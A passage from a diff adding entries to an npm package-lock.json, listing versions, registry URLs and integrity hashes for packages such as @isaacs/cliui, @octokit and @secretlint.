"sha512-ZT55BDLV0yv0RBm2czMiZ+SqCGO7AvmOM3G/w2xhVPH+te0aKgFjmBvGlL1dH+ql2tgGO3MVrbb3jCKyvpgnxA==", + "dev": true, + "requires": { + "@isaacs/balanced-match": "^4.0.1" + } + }, + "@isaacs/cliui": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-8.0.2.tgz", + "integrity": "sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==", + "requires": { + "string-width": "^5.1.2", + "string-width-cjs": "npm:string-width@^4.2.0", + "strip-ansi": "^7.0.1", + "strip-ansi-cjs": "npm:strip-ansi@^6.0.1", + "wrap-ansi": "^8.1.0", + "wrap-ansi-cjs": "npm:wrap-ansi@^7.0.0" + }, + "dependencies": { + "ansi-regex": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.0.1.tgz", + "integrity": "sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==" + }, + "ansi-styles": { + "version": "6.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.1.tgz", + "integrity": "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==" + }, + "emoji-regex": { + "version": "9.2.2", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz", + "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==" + }, + "string-width": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz", + "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==", + "requires": { + "eastasianwidth": "^0.2.0", + "emoji-regex": "^9.2.2", + "strip-ansi": "^7.0.1" + } + }, + "strip-ansi": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz", + "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==", + "requires": { + "ansi-regex": "^6.0.1" + } + }, + "wrap-ansi": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz", + "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==", + "requires": { + "ansi-styles": "^6.1.0", + "string-width": "^5.0.1", + "strip-ansi": "^7.0.1" + } + } + } + }, + "@istanbuljs/schema": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.3.tgz", + "integrity": "sha512-ZXRY4jNvVgSVQ8DL3LTcakaAtXwTVUxE81hslsyD2AtoXW/wVob10HkOJ1X/pAlcI7D+2YoZKg5do8G/w6RYgA==", + "dev": true + }, + "@jridgewell/gen-mapping": { + "version": "0.3.13", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz", + "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==", + "dev": true, + "requires": { + "@jridgewell/sourcemap-codec": "^1.5.0", + "@jridgewell/trace-mapping": "^0.3.24" + } + }, + "@jridgewell/resolve-uri": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", + "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", + "dev": true + }, + "@jridgewell/sourcemap-codec": { + "version": "1.5.5", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", + "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", + "dev": true + }, + "@jridgewell/trace-mapping": { + "version": "0.3.30", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.30.tgz", + "integrity": "sha512-GQ7Nw5G2lTu/BtHTKfXhKHok2WGetd4XYcVKGx00SjAk8GMwgJM3zr6zORiPGuOE+/vkc90KtTosSSvaCjKb2Q==", + "dev": true, + "requires": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } + }, + "@kwsites/file-exists": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@kwsites/file-exists/-/file-exists-1.1.1.tgz", + "integrity": "sha512-m9/5YGR18lIwxSFDwfE3oA7bWuq9kdau6ugN4H2rJeyhFQZcG9AgSHkQtSD15a8WvTgfz9aikZMrKPHvbpqFiw==", + "dev": true, + "requires": { + "debug": "^4.1.1" + } + }, + "@kwsites/promise-deferred": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@kwsites/promise-deferred/-/promise-deferred-1.1.1.tgz", + "integrity": "sha512-GaHYm+c0O9MjZRu0ongGBRbinu8gVAMd2UZjji6jVmqKtZluZnptXGWhz1E8j8D2HJ3f/yMxKAUC0b+57wncIw==", + "dev": true + }, + "@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "requires": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + } + }, + "@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==" + }, + "@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "requires": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + } + }, + "@npmcli/fs": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/@npmcli/fs/-/fs-2.1.2.tgz", + "integrity": "sha512-yOJKRvohFOaLqipNtwYB9WugyZKhC/DZC4VYPmpaCzDBrA8YpK3qHZ8/HGscMnE4GqbkLNuVcCnxkeQEdGt6LQ==", + "dev": true, + "requires": { + "@gar/promisify": "^1.1.3", + "semver": "^7.3.5" + } + }, + "@npmcli/move-file": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@npmcli/move-file/-/move-file-2.0.1.tgz", + "integrity": "sha512-mJd2Z5TjYWq/ttPLLGqArdtnC74J6bOzg4rMDnN+p1xTacZ2yPRCk2y0oSWQtygLR9YVQXgOcONrwtnk3JupxQ==", + "dev": true, + "requires": { + "mkdirp": "^1.0.4", + "rimraf": "^3.0.2" + } + }, + "@octokit/app": { + "version": "14.1.0", + "resolved": "https://registry.npmjs.org/@octokit/app/-/app-14.1.0.tgz", + "integrity": "sha512-g3uEsGOQCBl1+W1rgfwoRFUIR6PtvB2T1E4RpygeUU5LrLvlOqcxrt5lfykIeRpUPpupreGJUYl70fqMDXdTpw==", + "dev": true, + "requires": { + "@octokit/auth-app": "^6.0.0", + "@octokit/auth-unauthenticated": "^5.0.0", + "@octokit/core": "^5.0.0", + "@octokit/oauth-app": "^6.0.0", + "@octokit/plugin-paginate-rest": "^9.0.0", + "@octokit/types": "^12.0.0", + "@octokit/webhooks": "^12.0.4" + }, + "dependencies": { + "@octokit/openapi-types": { + "version": "20.0.0", + "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-20.0.0.tgz", + "integrity": "sha512-EtqRBEjp1dL/15V7WiX5LJMIxxkdiGJnabzYx5Apx4FkQIFgAfKumXeYAqqJCj1s+BMX4cPFIFC4OLCR6stlnA==", + "dev": true + }, + "@octokit/plugin-paginate-rest": { + "version": "9.2.2", + "resolved": "https://registry.npmjs.org/@octokit/plugin-paginate-rest/-/plugin-paginate-rest-9.2.2.tgz", + "integrity": "sha512-u3KYkGF7GcZnSD/3UP0S7K5XUFT2FkOQdcfXZGZQPGv3lm4F2Xbf71lvjldr8c1H3nNbF+33cLEkWYbokGWqiQ==", + "dev": true, + "requires": { + "@octokit/types": "^12.6.0" + } + }, + "@octokit/types": { + "version": "12.6.0", + "resolved": "https://registry.npmjs.org/@octokit/types/-/types-12.6.0.tgz", + "integrity": "sha512-1rhSOfRa6H9w4YwK0yrf5faDaDTb+yLyBUKOCV4xtCDB5VmIPqd/v9yr9o6SAzOAlRxMiRiCic6JVM1/kunVkw==", + "dev": true, + "requires": { + "@octokit/openapi-types": "^20.0.0" + } + } + } + }, + "@octokit/auth-app": { + "version": "6.1.3", + "resolved": "https://registry.npmjs.org/@octokit/auth-app/-/auth-app-6.1.3.tgz", + "integrity": "sha512-dcaiteA6Y/beAlDLZOPNReN3FGHu+pARD6OHfh3T9f3EO09++ec+5wt3KtGGSSs2Mp5tI8fQwdMOEnrzBLfgUA==", + "dev": true, + "requires": { + "@octokit/auth-oauth-app": "^7.1.0", + "@octokit/auth-oauth-user": "^4.1.0", + "@octokit/request": "^8.3.1", + "@octokit/request-error": "^5.1.0", + "@octokit/types": "^13.1.0", + "deprecation": "^2.3.1", + "lru-cache": "npm:@wolfy1339/lru-cache@^11.0.2-patch.1", + "universal-github-app-jwt": "^1.1.2", + "universal-user-agent": "^6.0.0" + }, + "dependencies": { + "lru-cache": { + "version": "npm:@wolfy1339/lru-cache@11.0.2-patch.1", + "resolved": "https://registry.npmjs.org/@wolfy1339/lru-cache/-/lru-cache-11.0.2-patch.1.tgz", + "integrity": "sha512-BgYZfL2ADCXKOw2wJtkM3slhHotawWkgIRRxq4wEybnZQPjvAp71SPX35xepMykTw8gXlzWcWPTY31hlbnRsDA==", + "dev": true + } + } + }, + "@octokit/auth-oauth-app": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/@octokit/auth-oauth-app/-/auth-oauth-app-7.1.0.tgz", + "integrity": "sha512-w+SyJN/b0l/HEb4EOPRudo7uUOSW51jcK1jwLa+4r7PA8FPFpoxEnHBHMITqCsc/3Vo2qqFjgQfz/xUUvsSQnA==", + "dev": true, + "requires": { + "@octokit/auth-oauth-device": "^6.1.0", + "@octokit/auth-oauth-user": "^4.1.0", + "@octokit/request": "^8.3.1", + "@octokit/types": "^13.0.0", + "@types/btoa-lite": "^1.0.0", + "btoa-lite": "^1.0.0", + "universal-user-agent": "^6.0.0" + } + }, + "@octokit/auth-oauth-device": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/@octokit/auth-oauth-device/-/auth-oauth-device-6.1.0.tgz", + "integrity": "sha512-FNQ7cb8kASufd6Ej4gnJ3f1QB5vJitkoV1O0/g6e6lUsQ7+VsSNRHRmFScN2tV4IgKA12frrr/cegUs0t+0/Lw==", + "dev": true, + "requires": { + "@octokit/oauth-methods": "^4.1.0", + "@octokit/request": "^8.3.1", + "@octokit/types": "^13.0.0", + "universal-user-agent": "^6.0.0" + } + }, + "@octokit/auth-oauth-user": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/@octokit/auth-oauth-user/-/auth-oauth-user-4.1.0.tgz", + "integrity": "sha512-FrEp8mtFuS/BrJyjpur+4GARteUCrPeR/tZJzD8YourzoVhRics7u7we/aDcKv+yywRNwNi/P4fRi631rG/OyQ==", + "dev": true, + "requires": { + "@octokit/auth-oauth-device": "^6.1.0", + "@octokit/oauth-methods": "^4.1.0", + "@octokit/request": "^8.3.1", + "@octokit/types": "^13.0.0", + "btoa-lite": "^1.0.0", + "universal-user-agent": "^6.0.0" + } + }, + "@octokit/auth-token": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@octokit/auth-token/-/auth-token-4.0.0.tgz", + "integrity": "sha512-tY/msAuJo6ARbK6SPIxZrPBms3xPbfwBrulZe0Wtr/DIY9lje2HeV1uoebShn6mx7SjCHif6EjMvoREj+gZ+SA==", + "dev": true + }, + "@octokit/auth-unauthenticated": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/@octokit/auth-unauthenticated/-/auth-unauthenticated-5.0.1.tgz", + "integrity": "sha512-oxeWzmBFxWd+XolxKTc4zr+h3mt+yofn4r7OfoIkR/Cj/o70eEGmPsFbueyJE2iBAGpjgTnEOKM3pnuEGVmiqg==", + "dev": true, + "requires": { + "@octokit/request-error": "^5.0.0", + "@octokit/types": "^12.0.0" + }, + "dependencies": { + "@octokit/openapi-types": { + "version": "20.0.0", + "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-20.0.0.tgz", + "integrity": "sha512-EtqRBEjp1dL/15V7WiX5LJMIxxkdiGJnabzYx5Apx4FkQIFgAfKumXeYAqqJCj1s+BMX4cPFIFC4OLCR6stlnA==", + "dev": true + }, + "@octokit/types": { + "version": "12.6.0", + "resolved": "https://registry.npmjs.org/@octokit/types/-/types-12.6.0.tgz", + "integrity": "sha512-1rhSOfRa6H9w4YwK0yrf5faDaDTb+yLyBUKOCV4xtCDB5VmIPqd/v9yr9o6SAzOAlRxMiRiCic6JVM1/kunVkw==", + "dev": true, + "requires": { + "@octokit/openapi-types": "^20.0.0" + } + } + } + }, + "@octokit/core": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/@octokit/core/-/core-5.2.1.tgz", + "integrity": "sha512-dKYCMuPO1bmrpuogcjQ8z7ICCH3FP6WmxpwC03yjzGfZhj9fTJg6+bS1+UAplekbN2C+M61UNllGOOoAfGCrdQ==", + "dev": true, + "requires": { + "@octokit/auth-token": "^4.0.0", + "@octokit/graphql": "^7.1.0", + "@octokit/request": "^8.4.1", + "@octokit/request-error": "^5.1.1", + "@octokit/types": "^13.0.0", + "before-after-hook": "^2.2.0", + "universal-user-agent": "^6.0.0" + } + }, + "@octokit/endpoint": { + "version": "9.0.6", + "resolved": "https://registry.npmjs.org/@octokit/endpoint/-/endpoint-9.0.6.tgz", + "integrity": "sha512-H1fNTMA57HbkFESSt3Y9+FBICv+0jFceJFPWDePYlR/iMGrwM5ph+Dd4XRQs+8X+PUFURLQgX9ChPfhJ/1uNQw==", + "dev": true, + "requires": { + "@octokit/types": "^13.1.0", + "universal-user-agent": "^6.0.0" + } + }, + "@octokit/graphql": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/@octokit/graphql/-/graphql-7.1.1.tgz", + "integrity": "sha512-3mkDltSfcDUoa176nlGoA32RGjeWjl3K7F/BwHwRMJUW/IteSa4bnSV8p2ThNkcIcZU2umkZWxwETSSCJf2Q7g==", + "dev": true, + "requires": { + "@octokit/request": "^8.4.1", + "@octokit/types": "^13.0.0", + "universal-user-agent": "^6.0.0" + } + }, + "@octokit/oauth-app": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/@octokit/oauth-app/-/oauth-app-6.1.0.tgz", + "integrity": "sha512-nIn/8eUJ/BKUVzxUXd5vpzl1rwaVxMyYbQkNZjHrF7Vk/yu98/YDF/N2KeWO7uZ0g3b5EyiFXFkZI8rJ+DH1/g==", + "dev": true, + "requires": { + "@octokit/auth-oauth-app": "^7.0.0", + "@octokit/auth-oauth-user": "^4.0.0", + "@octokit/auth-unauthenticated": "^5.0.0", + "@octokit/core": "^5.0.0", + "@octokit/oauth-authorization-url": "^6.0.2", + "@octokit/oauth-methods": "^4.0.0", + "@types/aws-lambda": "^8.10.83", + "universal-user-agent": "^6.0.0" + } + }, + "@octokit/oauth-authorization-url": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/@octokit/oauth-authorization-url/-/oauth-authorization-url-6.0.2.tgz", + "integrity": "sha512-CdoJukjXXxqLNK4y/VOiVzQVjibqoj/xHgInekviUJV73y/BSIcwvJ/4aNHPBPKcPWFnd4/lO9uqRV65jXhcLA==", + "dev": true + }, + "@octokit/oauth-methods": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/@octokit/oauth-methods/-/oauth-methods-4.1.0.tgz", + "integrity": "sha512-4tuKnCRecJ6CG6gr0XcEXdZtkTDbfbnD5oaHBmLERTjTMZNi2CbfEHZxPU41xXLDG4DfKf+sonu00zvKI9NSbw==", + "dev": true, + "requires": { + "@octokit/oauth-authorization-url": "^6.0.2", + "@octokit/request": "^8.3.1", + "@octokit/request-error": "^5.1.0", + "@octokit/types": "^13.0.0", + "btoa-lite": "^1.0.0" + } + }, + "@octokit/openapi-types": { + "version": "24.2.0", + "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-24.2.0.tgz", + "integrity": "sha512-9sIH3nSUttelJSXUrmGzl7QUBFul0/mB8HRYl3fOlgHbIWG+WnYDXU3v/2zMtAvuzZ/ed00Ei6on975FhBfzrg==", + "dev": true + }, + "@octokit/plugin-paginate-graphql": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/@octokit/plugin-paginate-graphql/-/plugin-paginate-graphql-4.0.1.tgz", + "integrity": "sha512-R8ZQNmrIKKpHWC6V2gum4x9LG2qF1RxRjo27gjQcG3j+vf2tLsEfE7I/wRWEPzYMaenr1M+qDAtNcwZve1ce1A==", + "dev": true, + "requires": {} + }, + "@octokit/plugin-paginate-rest": { + "version": "11.4.4-cjs.2", + "resolved": "https://registry.npmjs.org/@octokit/plugin-paginate-rest/-/plugin-paginate-rest-11.4.4-cjs.2.tgz", + "integrity": "sha512-2dK6z8fhs8lla5PaOTgqfCGBxgAv/le+EhPs27KklPhm1bKObpu6lXzwfUEQ16ajXzqNrKMujsFyo9K2eaoISw==", + "dev": true, + "requires": { + "@octokit/types": "^13.7.0" + } + }, + "@octokit/plugin-rest-endpoint-methods": { + "version": "13.3.2-cjs.1", + "resolved": "https://registry.npmjs.org/@octokit/plugin-rest-endpoint-methods/-/plugin-rest-endpoint-methods-13.3.2-cjs.1.tgz", + "integrity": "sha512-VUjIjOOvF2oELQmiFpWA1aOPdawpyaCUqcEBc/UOUnj3Xp6DJGrJ1+bjUIIDzdHjnFNO6q57ODMfdEZnoBkCwQ==", + "dev": true, + "requires": { + "@octokit/types": "^13.8.0" + } + }, + "@octokit/plugin-retry": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/@octokit/plugin-retry/-/plugin-retry-6.1.0.tgz", + "integrity": "sha512-WrO3bvq4E1Xh1r2mT9w6SDFg01gFmP81nIG77+p/MqW1JeXXgL++6umim3t6x0Zj5pZm3rXAN+0HEjmmdhIRig==", + "dev": true, + "requires": { + "@octokit/request-error": "^5.0.0", + "@octokit/types": "^13.0.0", + "bottleneck": "^2.15.3" + } + }, + "@octokit/plugin-throttling": { + "version": "8.2.0", + "resolved": "https://registry.npmjs.org/@octokit/plugin-throttling/-/plugin-throttling-8.2.0.tgz", + "integrity": "sha512-nOpWtLayKFpgqmgD0y3GqXafMFuKcA4tRPZIfu7BArd2lEZeb1988nhWhwx4aZWmjDmUfdgVf7W+Tt4AmvRmMQ==", + "dev": true, + "requires": { + "@octokit/types": "^12.2.0", + "bottleneck": "^2.15.3" + }, + "dependencies": { + "@octokit/openapi-types": { + "version": "20.0.0", + "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-20.0.0.tgz", + "integrity": "sha512-EtqRBEjp1dL/15V7WiX5LJMIxxkdiGJnabzYx5Apx4FkQIFgAfKumXeYAqqJCj1s+BMX4cPFIFC4OLCR6stlnA==", + "dev": true + }, + "@octokit/types": { + "version": "12.6.0", + "resolved": "https://registry.npmjs.org/@octokit/types/-/types-12.6.0.tgz", + "integrity": "sha512-1rhSOfRa6H9w4YwK0yrf5faDaDTb+yLyBUKOCV4xtCDB5VmIPqd/v9yr9o6SAzOAlRxMiRiCic6JVM1/kunVkw==", + "dev": true, + "requires": { + "@octokit/openapi-types": "^20.0.0" + } + } + } + }, + "@octokit/request": { + "version": "8.4.1", + "resolved": "https://registry.npmjs.org/@octokit/request/-/request-8.4.1.tgz", + "integrity": "sha512-qnB2+SY3hkCmBxZsR/MPCybNmbJe4KAlfWErXq+rBKkQJlbjdJeS85VI9r8UqeLYLvnAenU8Q1okM/0MBsAGXw==", + "dev": true, + "requires": { + "@octokit/endpoint": "^9.0.6", + "@octokit/request-error": "^5.1.1", + "@octokit/types": "^13.1.0", + "universal-user-agent": "^6.0.0" + } + }, + "@octokit/request-error": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-5.1.1.tgz", + "integrity": "sha512-v9iyEQJH6ZntoENr9/yXxjuezh4My67CBSu9r6Ve/05Iu5gNgnisNWOsoJHTP6k0Rr0+HQIpnH+kyammu90q/g==", + "dev": true, + "requires": { + "@octokit/types": "^13.1.0", + "deprecation": "^2.0.0", + "once": "^1.4.0" + } + }, + "@octokit/types": { + "version": "13.10.0", + "resolved": "https://registry.npmjs.org/@octokit/types/-/types-13.10.0.tgz", + "integrity": "sha512-ifLaO34EbbPj0Xgro4G5lP5asESjwHracYJvVaPIyXMuiuXLlhic3S47cBdTb+jfODkTE5YtGCLt3Ay3+J97sA==", + "dev": true, + "requires": { + "@octokit/openapi-types": "^24.2.0" + } + }, + "@octokit/webhooks": { + "version": "12.3.1", + "resolved": "https://registry.npmjs.org/@octokit/webhooks/-/webhooks-12.3.1.tgz", + "integrity": "sha512-BVwtWE3rRXB9IugmQTfKspqjNa8q+ab73ddkV9k1Zok3XbuOxJUi4lTYk5zBZDhfWb/Y2H+RO9Iggm25gsqeow==", + "dev": true, + "requires": { + "@octokit/request-error": "^5.0.0", + "@octokit/webhooks-methods": "^4.1.0", + "@octokit/webhooks-types": "7.6.1", + "aggregate-error": "^3.1.0" + } + }, + "@octokit/webhooks-methods": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/@octokit/webhooks-methods/-/webhooks-methods-4.1.0.tgz", + "integrity": "sha512-zoQyKw8h9STNPqtm28UGOYFE7O6D4Il8VJwhAtMHFt2C4L0VQT1qGKLeefUOqHNs1mNRYSadVv7x0z8U2yyeWQ==", + "dev": true + }, + "@octokit/webhooks-types": { + "version": "7.6.1", + "resolved": "https://registry.npmjs.org/@octokit/webhooks-types/-/webhooks-types-7.6.1.tgz", + "integrity": "sha512-S8u2cJzklBC0FgTwWVLaM8tMrDuDMVE4xiTK4EYXM9GntyvrdbSoxqDQa+Fh57CCNApyIpyeqPhhFEmHPfrXgw==", + "dev": true + }, + "@pkgjs/parseargs": { + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/@pkgjs/parseargs/-/parseargs-0.11.0.tgz", + "integrity": "sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==", + "optional": true + }, + "@secretlint/config-creator": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/config-creator/-/config-creator-10.2.2.tgz", + "integrity": "sha512-BynOBe7Hn3LJjb3CqCHZjeNB09s/vgf0baBaHVw67w7gHF0d25c3ZsZ5+vv8TgwSchRdUCRrbbcq5i2B1fJ2QQ==", + "dev": true, + "requires": { + "@secretlint/types": "^10.2.2" + } + }, + "@secretlint/config-loader": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/config-loader/-/config-loader-10.2.2.tgz", + "integrity": "sha512-ndjjQNgLg4DIcMJp4iaRD6xb9ijWQZVbd9694Ol2IszBIbGPPkwZHzJYKICbTBmh6AH/pLr0CiCaWdGJU7RbpQ==", + "dev": true, + "requires": { + "@secretlint/profiler": "^10.2.2", + "@secretlint/resolver": "^10.2.2", + "@secretlint/types": "^10.2.2", + "ajv": "^8.17.1", + "debug": "^4.4.1", + "rc-config-loader": "^4.1.3" + }, + "dependencies": { + "ajv": { + "version": "8.17.1", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.17.1.tgz", + "integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==", + "dev": true, + "requires": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + } + }, + "json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true + } + } + }, + "@secretlint/core": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/core/-/core-10.2.2.tgz", + "integrity": "sha512-6rdwBwLP9+TO3rRjMVW1tX+lQeo5gBbxl1I5F8nh8bgGtKwdlCMhMKsBWzWg1ostxx/tIG7OjZI0/BxsP8bUgw==", + "dev": true, + "requires": { + "@secretlint/profiler": "^10.2.2", + "@secretlint/types": "^10.2.2", + "debug": "^4.4.1", + "structured-source": "^4.0.0" + } + }, + "@secretlint/formatter": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/formatter/-/formatter-10.2.2.tgz", + "integrity": "sha512-10f/eKV+8YdGKNQmoDUD1QnYL7TzhI2kzyx95vsJKbEa8akzLAR5ZrWIZ3LbcMmBLzxlSQMMccRmi05yDQ5YDA==", + "dev": true, + "requires": { + "@secretlint/resolver": "^10.2.2", + "@secretlint/types": "^10.2.2", + "@textlint/linter-formatter": "^15.2.0", + "@textlint/module-interop": "^15.2.0", + "@textlint/types": "^15.2.0", + "chalk": "^5.4.1", + "debug": "^4.4.1", + "pluralize": "^8.0.0", + "strip-ansi": "^7.1.0", + "table": "^6.9.0", + "terminal-link": "^4.0.0" + }, + "dependencies": { + "ansi-regex": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", + "dev": true + }, + "chalk": { + "version": "5.6.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-5.6.2.tgz", + "integrity": "sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA==", + "dev": true + }, + "strip-ansi": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.2.tgz", + "integrity": "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==", + "dev": true, + "requires": { + "ansi-regex": "^6.0.1" + } + } + } + }, + "@secretlint/node": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/node/-/node-10.2.2.tgz", + "integrity": "sha512-eZGJQgcg/3WRBwX1bRnss7RmHHK/YlP/l7zOQsrjexYt6l+JJa5YhUmHbuGXS94yW0++3YkEJp0kQGYhiw1DMQ==", + "dev": true, + "requires": { + "@secretlint/config-loader": "^10.2.2", + "@secretlint/core": "^10.2.2", + "@secretlint/formatter": "^10.2.2", + "@secretlint/profiler": "^10.2.2", + "@secretlint/source-creator": "^10.2.2", + "@secretlint/types": "^10.2.2", + "debug": "^4.4.1", + "p-map": "^7.0.3" + } + }, + "@secretlint/profiler": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/profiler/-/profiler-10.2.2.tgz", + "integrity": "sha512-qm9rWfkh/o8OvzMIfY8a5bCmgIniSpltbVlUVl983zDG1bUuQNd1/5lUEeWx5o/WJ99bXxS7yNI4/KIXfHexig==", + "dev": true + }, + "@secretlint/resolver": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/resolver/-/resolver-10.2.2.tgz", + "integrity": "sha512-3md0cp12e+Ae5V+crPQYGd6aaO7ahw95s28OlULGyclyyUtf861UoRGS2prnUrKh7MZb23kdDOyGCYb9br5e4w==", + "dev": true + }, + "@secretlint/secretlint-formatter-sarif": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/@secretlint/secretlint-formatter-sarif/-/secretlint-formatter-sarif-10.2.2.tgz", + "integrity": "sha512-ojiF9TGRKJJw308DnYBucHxkpNovDNu1XvPh7IfUp0A12gzTtxuWDqdpuVezL7/IP8Ua7mp5/VkDMN9OLp1doQ==", + "dev": true, + "requires": { + "node-sarif-builder": "^3.2.0" + } + }, + "@secretlint/secretlint-rule-no-dotenv": { + "version": "10.2.2", + "resolved": 